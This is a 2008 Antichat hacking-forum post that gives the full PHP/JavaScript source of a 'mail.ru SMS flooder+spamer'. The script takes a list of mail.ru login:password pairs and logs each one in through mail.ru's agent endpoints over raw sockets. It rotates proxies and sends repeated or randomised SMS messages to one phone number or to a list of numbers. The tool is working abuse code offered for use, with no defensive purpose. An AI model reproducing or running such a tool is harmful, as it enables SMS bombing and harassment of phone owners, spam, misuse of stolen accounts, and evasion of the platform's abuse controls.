ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > E-Mail
   
 
 
Опции темы Поиск в этой теме Опции просмотра

mail.ru SMS flooder+spamer by DX
  #1  
Старый 26.09.2008, 03:40
Аватар для 3xIm3
3xIm3
Познающий
Регистрация: 19.09.2008
Сообщений: 95
Провел на форуме:
399173

Репутация: 102
По умолчанию mail.ru SMS flooder+spamer by DX

Код:
<?php 
session_start(); 
set_time_limit(0); 

$ajax=isset($_POST['ajax']) ? 1 : 0; 

$thescript=''; 

for($tlen=strlen($_SERVER['SCRIPT_NAME']),$i=$tlen-1;$i>=0;$i--) 
{ 
  if($_SERVER['SCRIPT_NAME']{$i}=='/') break; 
  $thescript=$_SERVER['SCRIPT_NAME']{$i}.$thescript; 
} 

if(!function_exists('socket_connect')) 
  die("The function socket_connect does not exist! You cannot use this script."); 

$ver='1.2'; 
if(!$ajax) 
{ 
print <<<HERE 
<html><head> 
<title>SMS Mail.ru Messenger by DX $ver</title> 
<style> 
td 
{ 
border-width:1px 1px 1px 1px; 
border-style:solid; 
border-color:black; 
} 
INPUT 
{ 
BORDER-RIGHT: rgb(50,50,50) 1px outset; 
BORDER-TOP: rgb(50,50,50) 1px outset; 
FONT-SIZE: 11px; 
font-family:Arial; 
BORDER-LEFT: rgb(50,50,50) 1px outset; 
BORDER-BOTTOM: rgb(50,50,50) 1px outset; 
} 
button 
{ 
BORDER-RIGHT: rgb(50,50,50) 1px outset; 
BORDER-TOP: rgb(50,50,50) 1px outset; 
FONT-SIZE: 10px; 
BORDER-LEFT: rgb(50,50,50) 1px outset; 
BORDER-BOTTOM: rgb(50,50,50) 1px outset; 
width:50px; 
} 
textarea 
{ 
BORDER-RIGHT: rgb(50,50,50) 1px outset; 
BORDER-TOP: rgb(50,50,50) 1px outset; 
BORDER-LEFT: rgb(50,50,50) 1px outset; 
BORDER-BOTTOM: rgb(50,50,50) 1px outset; 
FONT-SIZE: 13px; 
font-family:Arial; 
} 
select 
{ 
FONT-SIZE: 10px; 
background-color:#f4f4ff; 
} 
a,a:active,a:visited 
{ 
background: transparent; 
color: #34498B; 
text-decoration: none; 
font-weight:700; 
font-size:10; 
font-family:Arial; 
background-color:wheat; 
} 
a:hover 
{ 
background: transparent; 
color: blue; 
font-weight:700; 
font-family:Arial; 
font-size:10; 
text-decoration: none; 
background-color:yellow; 
} 
</style> 
</head> 
<body> 
<table style="border-width:1px 1px 1px 1px; border-style:solid; border-collapse:collapse; border-color:black; width:100%; height:100%"> 
<tr><td colspan=2 align=center style="font-size:18;height:10">SMS Mail.ru Messenger By DX $ver</td></tr> 
<tr valign=top><td><span id="name1">Аккаунты, с которых производить рассылку</span><hr><textarea style="width:500px;height:350px" id="accs"></textarea> 
<div id="stats" style="display:none;padding:4px;width:500px;height:350;overflow:auto;border-width:1px 1px 1px 1px;border-color:black;border-style:solid;"></div> 
<br><div id="scrl2" style="display:none;""><input type="checkbox" checked id="scrl"> Авто-скролл логов 
<br><span id="addstats"></span></div> 
<br><span id="name2">Впишите аккаунты в таком виде:<br><tt>mail:pass</tt><br>по одному аккаунту в каждой строке.</span></td><td style="width:290">Опции рассылки<hr> 
<div id="opts"> 
<a href="#" onclick="chtab(1);return false;">Инфо</a> <a href="#" onclick="chtab(2);return false;">Рассылка</a> 
  <a href="#" onclick="chtab(3);return false;">Сообщение</a>  <a href="#" onclick="chtab(4);return false;">Прокси</a> 
<hr> 
<div id="tab1"> 
Данный скрипт позволяет рассылать смс-сообщения по списку номеров, или какое-то число сообщений на конкретный номер. 
HERE; 
print '<br'.'><tt'.'>&co'.'py;D'.'X 2'.'008'.'</tt>'; 
print <<<HERE 
</div> 
<div id="tab2" style="display:none"> 
Задержка со стороны клиента: <input type="text" id="wt" value="0" style="width:50"> ms<br> 
Задержка со стороны сервера: <input type="text" id="swt" value="2000" style="width:50"> ms<br><br> 
Тип рассылки:<br> 
<input type="radio" name="stype" value="1" checked> На номер<br> 
Номер: <input type="text" id="telnum" value="7xxxxxxxxxx" style="width:90"><br> 
Отправить <input type="text" id="mnum" value="1" style="width:50"> сообщений<br> 
<br> 
<input type="radio" name="stype" value="2"> На список номеров:<br> 
<textarea style="width:99%" id='telnums' rows=15>7xxxxxxxxxx</textarea> 
</div> 
<div id="tab3" style="display:none"> 
Сообщение:<br> 
<textarea rows=20 cols=37 id="txtmsg"></textarea> 
<br><input type="button" onclick="setmes();return false;" value="Установить" id="sbtn"><br> 
Введите сообщение и нажмите кнопку &quot;Установить&quot;.<br> 
Текущее сообщение:<br> 
<textarea id="currmsg" rows=5 cols=37 readonly></textarea> 
<br><input type="checkbox" id="mrnd">Рандомизировать сообщение 
</div> 
<div id="tab4" style="display:none"> 
Список прокси (не обязательно):<br><textarea rows=20 cols=30 id="proxy"></textarea> 
<br>Прокси-серверы будут циклически меняться для каждого последующего аккаунта. 
</div> 
</div> 

<div id="msproc" style="display:none">Идёт рассылка...</div> 
</td></tr> 



<tr><td colspan=2 align=center style="height:20"><input type="button" onclick="startmess()" value="Начать рассылку" id="st"></td></tr> 
</table> 
<script language='JavaScript'> 
var accarr=new Array(); 
var passarr=new Array(); 
var ismes=false; 
var totalaccs; 
var curracc=0; 
var k=0; 
var maxp; 
var stype; 
var waittime=1; 
var servwaittime=1; 
var nregex=/^\d+$/g; 
var mmrnd=0; 
var currid=0; 
var succmess=0; 
var nnum=0; 
var messet=0; 
var tmpmes=""; 
var telnum=0; 
var telnums=Array(); 
var mnum=0; 
var numtels=0; 
var sent=0; 
var prox=new Array(); 
var pport=new Array(); 
var useproxy=false; 
var k=0; 
var maxp; 

function setmes() 
{ 
  messet=0; 
  tmpmes=document.getElementById("txtmsg").value; 
  sendRequest("act=10&msg="+rpl(escape(tmpmes))); 
  document.getElementById("sbtn").disabled=true; 
} 

function mes_ok(mlen) 
{ 
  messet=mlen; 
  document.getElementById("sbtn").disabled=false; 
  document.getElementById("currmsg").value=tmpmes; 
} 


function chtab(num) 
{ 
  hideTabs(); 
  showTab(num); 
} 

function hideTabs() 
{ 
  for(var i=1;i<=4;i++) 
  { 
    document.getElementById("tab"+i).style.display="none"; 
  } 
} 

function showTab(num) 
{ 
  document.getElementById("tab"+num).style.display="block"; 
} 


function startmess() 
{ 
  if(ismes) 
  { 
    if(!sent && !window.confirm("Вы действительно желаете остановить рассылку?")) 
    { 
      sent=1; 
      return; 
    } 


    ismes=false; 
    document.getElementById("accs").style.display="block"; 
    document.getElementById("st").value="Начать рассылку"; 
    document.getElementById("stats").style.display="none"; 
    document.getElementById("name1").innerHTML="Аккаунты, с которых производить рассылку"; 
    document.getElementById("name2").innerHTML="Впишите аккаунты в таком виде:<br><tt>mail:pass</tt><br>по одному аккаунту в каждой строке."; 
    document.getElementById("msproc").style.display="none"; 
    document.getElementById("opts").style.display="block"; 
    document.getElementById("scrl2").style.display="none"; 

    return; 
  } 

  document.getElementById("accs").value=document.getElementById("accs").value.replace(/^\s\s*/, '').replace(/\s\s*$/, ''); 


  sent=0; 
  curracc=0; 
  accarr=new Array(); 
  passarr=new Array(); 
  waittime=1; 
  currid=0; 
  succmess=0; 
  sloggingin=0; 
  nnum=0; 
  telnum=0; 
  totalaccs=0; 
  numtels=0; 
  prox=new Array(); 
  pport=new Array(); 
  useproxy=false; 
  k=0; 

  mmrnd=document.getElementById("mrnd").checked==true ? 1 : 0; 

  var tmp; 
  var tmp2,cnt2; 

  useproxy=false; 

  stype=getCheckedValue(document.all.stype); 

  if(stype!=1 && stype!=2) 
  { 
    alert("Выберите тип рассылки."); 
    chtab(2); 
    return false; 
  } 

  if(stype==1) 
  { 
    telnum=document.getElementById("telnum").value; 

    if(telnum.search(nregex)==-1 || telnum.length!=11) 
    { 
      alert("Введите правильный номер телефона."); 
      chtab(2); 
      return false; 
    } 

    mnum=document.getElementById("mnum").value; 

    if(mnum.search(nregex)==-1 || mnum<1) 
    { 
      alert("Введите правильное число сообщений для флуда."); 
      chtab(2); 
      return false; 
    } 
  } 




  tmp=document.getElementById("wt").value; 
  if(tmp.search(nregex)==-1) 
  { 
    alert("Введите правильную величину задержки отправки со стороны клиента."); 
    chtab(2); 
    return false; 
  } 

  waittime=Number(tmp)+1; 

  tmp=document.getElementById("swt").value; 
  if(tmp.search(nregex)==-1) 
  { 
    alert("Введите правильную величину задержки отправки со стороны сервера."); 
    chtab(2); 
    return false; 
  } 

  servwaittime=tmp; 

  if(!messet) 
  { 
    alert("Установите сообщение для рассылки."); 
    chtab(3); 
    return false; 
  } 


  if(document.getElementById("accs").value.length==0) 
  { 
    alert("Введите аккаунты для рассылки/проверки."); 
    return false; 
  } 

  tmp=document.getElementById("accs").value.replace(/\\r/g,"").split("\\n"); 

  var cnt=tmp.length; 

  if(cnt==0) 
  { 
    alert("Аккаунты введены в неверном формате."); 
    return false; 
  } 

  for(var i=0;i<cnt;i++) 
  { 
    tmp2=tmp[i].split(":"); 
    cnt2=tmp2.length; 
    if(cnt2<2) 
    { 
      alert("Аккаунты введены в неверном формате."); 
      return false; 
    } 

    for(var t=2;t<cnt2;t++) 
    { 
      tmp2[1]+=":"+tmp2[t]; 
    } 

    if(tmp2[0].length==0 || tmp2[1].length==0) 
    { 
      alert("Аккаунты введены в неверном формате."); 
      return false; 
    } 

    accarr[i]=tmp2[0]; 
    passarr[i]=tmp2[1]; 
  } 

  totalaccs=cnt; 




  if(stype==2) 
  { 
    tmp=document.getElementById("telnums").value; 

    var cnt=tmp.length; 

    if(cnt==0) 
    { 
      alert("Номера введены в неверном формате."); 
      return false; 
    } 

    tmp=tmp.replace(/\\r/g,"").split("\\n"); 

    var cnt=tmp.length; 

    mnum=cnt; 

    for(var i=0;i<cnt;i++) 
    { 
      if(tmp[i].search(nregex)==-1 || tmp[i].length!=11) 
      { 
        alert("Номера введены в неверном формате."); 
        return false; 
      } 

      telnums[i]=tmp[i]; 
    } 
  } 




  if(document.getElementById("proxy").value.length>0) 
  { 
    tmp=document.getElementById("proxy").value.replace(/\\r/g,"").split("\\n"); 

    var cnt=tmp.length; 

    if(cnt==0) 
    { 
      alert("Прокси-серверы введены в неверном формате. Используйте ip:port."); 
      chtab(4); 
      return false; 
    } 

    for(var i=0;i<cnt;i++) 
    { 
      tmp2=tmp[i].split(":"); 
      cnt2=tmp2.length; 
      if(cnt2!=2) 
      { 
        alert("Прокси-серверы введены в неверном формате. Используйте ip:port."); 
        chtab(4); 
        return false; 
      } 

      if(tmp2[0].length==0 || tmp2[1].length==0) 
      { 
        alert("Прокси-серверы введены в неверном формате. Используйте ip:port."); 
        chtab(4); 
        return false; 
      } 

      prox[i]=tmp2[0]; 
      pport[i]=tmp2[1]; 
    } 

    useproxy=true; 
    maxp=cnt; 
  } 






  ismes=true; 
  document.getElementById("accs").style.display="none"; 
  document.getElementById("stats").style.display="block"; 
  document.getElementById("stats").innerHTML=""; 
  document.getElementById("name1").innerHTML="Статус рассылки"; 
  document.getElementById("name2").innerHTML=""; 
  document.getElementById("st").value="Остановить рассылку"; 
  document.getElementById("opts").style.display="none"; 
  document.getElementById("msproc").style.display="block"; 
  document.getElementById("scrl2").style.display="block"; 

  document.getElementById("stats").innerHTML="<font color='red'><b>Старт рассылки сообщений...</b></font><br>"; 

  setStats(0,mnum); 
  setTimeout("goMes()",waittime); 
} 


function setStats(curr,total) 
{ 
  var mleft=total-curr; 
  document.getElementById("addstats").innerHTML="Отправлено: "+curr+"; осталось отправить: "+mleft; 
} 

function goMes() 
{ 
  if(sent) return; 

  if(stype==2) 
    tnum=telnums[currid]; 
  else 
    tnum=telnum; 

  sendRequest("act=1&rd="+mmrnd+"&telnum="+tnum+"&wt="+servwaittime+"&login="+accarr[curracc]+"&pass="+passarr[curracc],1); 
  changeProxy(); 
} 



function nextMes(suc) 
{ 
  if(sent) return; 
  if(suc) 
  { 
    nnum++; 
    currid++ 
    addMes("<font color=green>Успешно отправлено сообщение #"+nnum+"</font><br>"); 
    setStats(nnum,mnum); 
  } 

  curracc++; 
  if(curracc>=totalaccs) 
    curracc=0; 

  if(nnum>=mnum) 
  { 
    finishMes(); 
    return; 
  } 


  setTimeout("goMes()",waittime); 
} 


function finishMes() 
{ 
  if(sent) return; 
  addMes("<font color=blue>Всё! Отправлено сообщений: "+nnum+".</font><br>"); 
  sent=1; 
} 




function getCheckedValue(radioObj) 
{ 
  if(!radioObj) 
    return ""; 

  var radioLength=radioObj.length; 
  if(radioLength==undefined) 
    if(radioObj.checked) 
      return radioObj.value; 
    else 
     return ""; 

    for(var i=0;i<radioLength;i++) 
    { 
      if(radioObj[i].checked) 
        return radioObj[i].value; 
    } 

  return ""; 
} 


function changeProxy() 
{ 
  k++; 
  if(k>=maxp) k=0; 
} 




var lognum=0; 


function addMes(msg) 
{ 
  lognum++; 
  if(lognum>200) 
  { 
    lognum=0; 
    document.getElementById("stats").innerHTML=""; 
  } 

  document.getElementById("stats").innerHTML=document.getElementById("stats").innerHTML+msg; 
  if(document.getElementById("scrl").checked==true) document.getElementById("stats").scrollTop=100000; 
} 



function createHttpRequest() 
{ 
  var uagent=navigator.userAgent.toLowerCase(); 
  var is_win=((uagent.indexOf("win")!=-1) || (uagent.indexOf("16bit")!=-1)); 
  var is_opera=(uagent.indexOf('opera')!=-1); 
  var is_webtv=(uagent.indexOf('webtv')!=-1); 
  var is_safari=((uagent.indexOf('safari')!=-1) || (navigator.vendor=="Apple Computer, Inc.")); 
  var is_ie=((uagent.indexOf('msie')!=-1) && (!is_opera) && (!is_safari) && (!is_webtv)); 

  if(is_ie) 
    httpRequest=new ActiveXObject("Microsoft.XMLHTTP"); 
  else 
    httpRequest=new XMLHttpRequest(); 

  return httpRequest; 
} 





function sendRequest(params,showprox) 
{ 
  if(sent) return; 

  if(useproxy) 
  { 
    if(params) params=params+"&pr="+prox[k]+"&pp="+pport[k]; else params="pr="+prox[k]+"&pp="+pport[k]; 
    if(showprox) params=params+"&shp=1"; 
  } 

  if(params) params=params+"&ajax=1"; else params="ajax=1"; 

  httpRequest.open('POST',"$thescript",true); 
  httpRequest.setRequestHeader("Content-type","application/x-www-form-urlencoded"); 
  httpRequest.setRequestHeader("Content-length",params.length); 
  httpRequest.setRequestHeader("Connection","close"); 
  httpRequest.onreadystatechange=getRequestx; 
  httpRequest.send(params); 
} 

function getRequestx() 
{ 
  if(httpRequest.readyState==4) 
    eval(httpRequest.responseText); 
} 

var httpRequest=createHttpRequest(); 

function rpl(st) 
{ 
st=st.replace(/%u0430/g,"%E0"); 
st=st.replace(/%u0431/g,"%E1"); 
st=st.replace(/%u0432/g,"%E2"); 
st=st.replace(/%u0433/g,"%E3"); 
st=st.replace(/%u0434/g,"%E4"); 
st=st.replace(/%u0435/g,"%E5"); 
st=st.replace(/%u0436/g,"%E6"); 
st=st.replace(/%u0437/g,"%E7"); 
st=st.replace(/%u0438/g,"%E8"); 
st=st.replace(/%u0439/g,"%E9"); 
st=st.replace(/%u043A/g,"%EA"); 
st=st.replace(/%u043B/g,"%EB"); 
st=st.replace(/%u043C/g,"%EC"); 
st=st.replace(/%u043D/g,"%ED"); 
st=st.replace(/%u043E/g,"%EE"); 
st=st.replace(/%u043F/g,"%EF"); 
st=st.replace(/%u0440/g,"%F0"); 
st=st.replace(/%u0441/g,"%F1"); 
st=st.replace(/%u0442/g,"%F2"); 
st=st.replace(/%u0443/g,"%F3"); 
st=st.replace(/%u0444/g,"%F4"); 
st=st.replace(/%u0445/g,"%F5"); 
st=st.replace(/%u0446/g,"%F6"); 
st=st.replace(/%u0447/g,"%F7"); 
st=st.replace(/%u0448/g,"%F8"); 
st=st.replace(/%u0449/g,"%F9"); 
st=st.replace(/%u044A/g,"%FA"); 
st=st.replace(/%u044B/g,"%FB"); 
st=st.replace(/%u044C/g,"%FC"); 
st=st.replace(/%u044D/g,"%FD"); 
st=st.replace(/%u044E/g,"%FE"); 
st=st.replace(/%u044F/g,"%FF"); 
st=st.replace(/%u0410/g,"%C0"); 
st=st.replace(/%u0411/g,"%C1"); 
st=st.replace(/%u0412/g,"%C2"); 
st=st.replace(/%u0413/g,"%C3"); 
st=st.replace(/%u0414/g,"%C4"); 
st=st.replace(/%u0415/g,"%C5"); 
st=st.replace(/%u0416/g,"%C6"); 
st=st.replace(/%u0417/g,"%C7"); 
st=st.replace(/%u0418/g,"%C8"); 
st=st.replace(/%u0419/g,"%C9"); 
st=st.replace(/%u041A/g,"%CA"); 
st=st.replace(/%u041B/g,"%CB"); 
st=st.replace(/%u041C/g,"%CC"); 
st=st.replace(/%u041D/g,"%CD"); 
st=st.replace(/%u041E/g,"%CE"); 
st=st.replace(/%u041F/g,"%CF"); 
st=st.replace(/%u0420/g,"%D0"); 
st=st.replace(/%u0421/g,"%D1"); 
st=st.replace(/%u0422/g,"%D2"); 
st=st.replace(/%u0423/g,"%D3"); 
st=st.replace(/%u0424/g,"%D4"); 
st=st.replace(/%u0425/g,"%D5"); 
st=st.replace(/%u0426/g,"%D6"); 
st=st.replace(/%u0427/g,"%D7"); 
st=st.replace(/%u0428/g,"%D8"); 
st=st.replace(/%u0429/g,"%D9"); 
st=st.replace(/%u042A/g,"%DA"); 
st=st.replace(/%u042B/g,"%DB"); 
st=st.replace(/%u042C/g,"%DC"); 
st=st.replace(/%u042D/g,"%DD"); 
st=st.replace(/%u042E/g,"%DE"); 
st=st.replace(/%u042F/g,"%DF"); 
st=st.replace(/%u0401/g,"%A8"); 
st=st.replace(/%u0451/g,"%B8"); 
st=st.replace(/%u2116/g,"%B9"); 
st=st.replace(/%u201C/g,"\""); 
st=st.replace(/%u201D/g,"\""); 
st=st.replace(/%u2013/g,":"); 
st=st.replace(/%u2019/g,"'"); 
st=st.replace(/\+/g,"%2B"); 

return st; 
} 

function errMsg(num) 
{ 
  switch(num) 
  { 
    case 1: 
      addMes("<font color=red>Ошибка работы с сокетами</font><br>"); 
    break; 
    case 2: 
      addMes("<font color=red>Ошибка при отправке sms</font><br>"); 
    break; 
    case 3: 
      addMes("<font color=red>Неправильно задан логин или пароль</font><br>"); 
    break; 
    case 4: 
      addMes("<font color=red>Не удалось залогиниться</font><br>"); 
    break; 
    case 5: 
      addMes("<font color=red>Некорректный номер телефона или неправильная задержка</font><br>"); 
    break; 
    case 6: 
      addMes("<font color=red>Ошибка авторизации в агенте</font><br>"); 
    break; 
    case 7: 
      addMes("<font color=red>Неверно задан адрес прокси</font><br>"); 
    break; 
    case 8: 
      addMes("<font color=red>Неверно задан порт прокси</font><br>"); 
    break; 
  } 
} 
</script> 
</body></html> 
HERE; 
} 
else 
{ 
  header("Content-type: text/html; charset=windows-1251"); 

  $browser="Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14"; 

  $act=isset($_POST['act']) ? $_POST['act'] : 0; 

  $pr=isset($_POST['pr']) ? $_POST['pr'] : ''; 
  $pp=isset($_POST['pp']) ? $_POST['pp'] : ''; 


  if($pr) 
  { 
    if(!preg_match("/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/",$pr)) 
    { 
      $pr=''; 
      print("errMsg(7);"); 
    } 

    if(!preg_match("/^(\d)+$/",$pp)) 
    { 
      $pp=''; 
      print("errMsg(8);"); 
    } 

    if(isset($_POST['shp'])) 
    { 
      print "addMes('<font color=blue>Текущий прокси: $pr:$pp</font><br>');"; 
      ob_flush(); 
      flush(); 
    } 
  } 

  switch($act) 
  { 
    case '1': 
      $mrnd=isset($_POST['rd']) ? $_POST['rd'] : 0; 

      $msg=isset($_SESSION['msgx']) ? $_SESSION['msgx'] : ''; 

      $telnum=isset($_POST['telnum']) ? $_POST['telnum'] : 0; 
      if(!preg_match("/^(\d){11}$/",$telnum)) 
        die("errMsg(5);nextMes();"); 

      $wt=isset($_POST['wt']) ? $_POST['wt'] : 0; 
      if(!preg_match("/^(\d)+$/",$wt)) 
        die("errMsg(5);nextMes();"); 

      if($mrnd) $msg.="   ".mt_rand(); 

      $cookies=Array(); 
      $xtmp=isset($_POST['login']) ? $_POST['login'] : ''; 
      $xtmp=explode('@',$xtmp); 
      $pass=isset($_POST['pass']) ? $_POST['pass'] : ''; 

      $login=$xtmp[0]; 
      $domain=$xtmp[1]; 

      if(strlen($login)<1 || strlen($pass)<1 || strlen($domain)<1) 
        die("errMsg(3);nextMes();"); 

      $res=socket_do('win.mail.ru','/cgi-bin/loginagent','','GET','','',0,0,$pr,$pp); 
      preg_match_all('/Set-Cookie: (.+);/iUs',$res,$cook); 
      foreach($cook[1] as $ck) 
      { 
        $cookies[]=$ck; 
      } 



      $tmpcookie=implode('; ',array_unique($cookies)); 

      $res=socket_do('koi.mail.ru','/cgi-bin/auth',"page=http%3A%2F%2Fmrim8.mail.ru%2Fwin%2Fcontactlist.html&FailPage=http%3A%2F%2Fwin.mail.ru%2Fcgi-bin%2Floginagent&post=&login_from=&Login=$login&Domain=$domain&Password=$pass&level=1&x=11&y=12",'POST',$tmpcookie,'http://win.mail.ru/cgi-bin/loginagent',0,0,$pr,$pp); 

      preg_match_all('/Set-Cookie: (.+);/iUs',$res,$cook); 
      foreach($cook[1] as $ck) 
      { 
        $cookies[]=$ck; 
      } 

      $cookies=implode('; ',array_unique($cookies)); 



      preg_match("/Location: http:\/\/koi\.mail\.ru\/cgi\-bin\/checkcookie\?(.+)\r\n/iUs",$res,$m); 

      if(!isset($m[1])) 
        die("errMsg(4);nextMes();"); 


      $res=socket_do('koi.mail.ru','/cgi-bin/checkcookie?'.$m[1],'','GET',$cookies,'http://win.mail.ru/cgi-bin/loginagent',0,0,$pr,$pp); 
      preg_match("/Location: (.+)\r\n/iUs",$res,$m); 

      if(!isset($m[1])) 
        die("errMsg(4);nextMes();"); 

      $tmp=explode('/',$m[1],4); 

      $res=socket_do('mrim8.mail.ru','/'.$tmp[3],'','GET',$cookies,'http://win.mail.ru/cgi-bin/loginagent',0,0,$pr,$pp); 

      $sock=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP); 

      if(!$sock) 
        die("errMsg(1);nextMes();"); 



      if($pr) 
      { 
        @socket_connect($sock,$pr,$pp) or die("errMsg(1);nextMes();"); 
        $request = "POST http://mrim8.mail.ru/connect HTTP/1.0\r\n"; 
      } 
      else 
      { 
        @socket_connect($sock,"194.67.57.121","80") or die("errMsg(1);nextMes();"); 
        $request = "POST /connect HTTP/1.0\r\n"; 
      } 


      @socket_set_nonblock($sock) or die("errMsg(1);nextMes();"); 
      if(@socket_select($r = null, $w = array($sock), $f = null, 5)!=1) 
        die("errMsg(1);nextMes();"); 



      $request.= "Host: mrim8.mail.ru\r\n"; 
      $request.= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0\r\n"; 
      $request.= "Referer: {$m[1]}\r\n"; 
      $request.= "Content-Type: application/xml\r\n"; 
      $request.= "Content-Length: ".strlen('status=1')."\r\n"; 
      $request.= "Connection: keep-alive\r\n"; 
      $request.= "Keep-alive: 300\r\n"; 
      $request.= "Cookie: $cookies\r\n"; 
      $request.= "\r\n"; 

      @socket_write($sock,$request.'status=1') or die("errMsg(1);nextMes();"); 


      if(@socket_select($r = array($sock), $w = null, $f = null, 5)!=1) 
        die("errMsg(1);nextMes();"); 


      $ret=@socket_read($sock,1000) or die("errMsg(1);nextMes();"); 

      if(strpos($ret,"MRIM_CS_LOGIN_REJ, {reason:\"Invalid session\"}")!==false) 
      { 
        @socket_close($sock); 
        die("errMsg(6);nextMes();"); 
      } 

      usleep($wt*1000); 

      $res=socket_do('mrim8.mail.ru','/sms','seq=1&flags=0&phone=%2B'.$telnum.'&message='.urlencode($msg),'POST',$cookies,'http://mrim8.mail.ru/win/contactlist.html?post=&x=0&y=0&login_from=',0,1,$pr,$pp); 


      if(strpos($res,"HTTP/1.0 200 OK")===0 || strpos($res,"HTTP/1.1 200 OK")===0) 
      { 
        //$ret=@socket_read($sock,1000) or die("errMsg(1);nextMes();"); 

        //if(strpos($ret,"MRIM_CS_SMS_ACK")===false) 
        //  die("errMsg(2);nextMes();"); 

        @socket_close($sock); 


        die("nextMes(1);"); 
      } 
      else 
      { 
        @socket_close($sock); 
        die("errMsg(2);nextMes();"); 
      } 

    break; 

    case '10': 
      $msg=isset($_POST['msg']) ? trim($_POST['msg']) : ''; 

      $_SESSION['msgx']=$msg; 

      die("mes_ok(".strlen($msg).");"); 
    break; 



    default: 
      die(); 
  } 
} 

function socket_do($page,$suri,$data,$method,$cook,$ref,$close=0,$sms=0,$pr='',$pp=0) 
{ 
  if($pr) 
  { 
    $request="$method http://$page$suri HTTP/1.0\r\n"; 
    $fp=fsockopen("tcp://".$pr,$pp,$errno,$errstr,30); 
  } 
  else 
  { 
    $request = "$method $suri HTTP/1.0\r\n"; 
    $fp=fsockopen('tcp://'.$page,80,$errorNumber,$errorString,30); 
  } 


  if(!$fp) die("errMsg(1);nextMes();"); 

  @stream_set_timeout($fp,30); 


  $request.= "Host: $page\r\n"; 
  $request.= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0\r\n"; 
  if($ref) $request.= "Referer: $ref\r\n"; 

  if($method=='POST') 
  { 
    $request.= $sms ? "Content-Type: application/xml\r\n" : "Content-Type: application/x-www-form-urlencoded\r\n"; 
    $request.= "Content-Length: ".strlen($data)."\r\n"; 
  } 

  $request.= "Connection: close\r\n"; 

  if($cook) 
    $request.="Cookie: $cook\r\n"; 

  $request.="\r\n"; 

  $request.=$data; 


  fputs($fp,$request); 
     
  $res=""; 

  while(!feof($fp)) 
  { 
    $res.=fgets($fp,128); 
    if($close) break; 
  } 

  fclose($fp); 

  return $res; 
} 

?>

Последний раз редактировалось Constantine; 26.09.2008 в 17:18..
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Куплю Sms Flooder Звeрь Разное - Покупка, продажа, обмен 0 17.08.2008 18:02



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ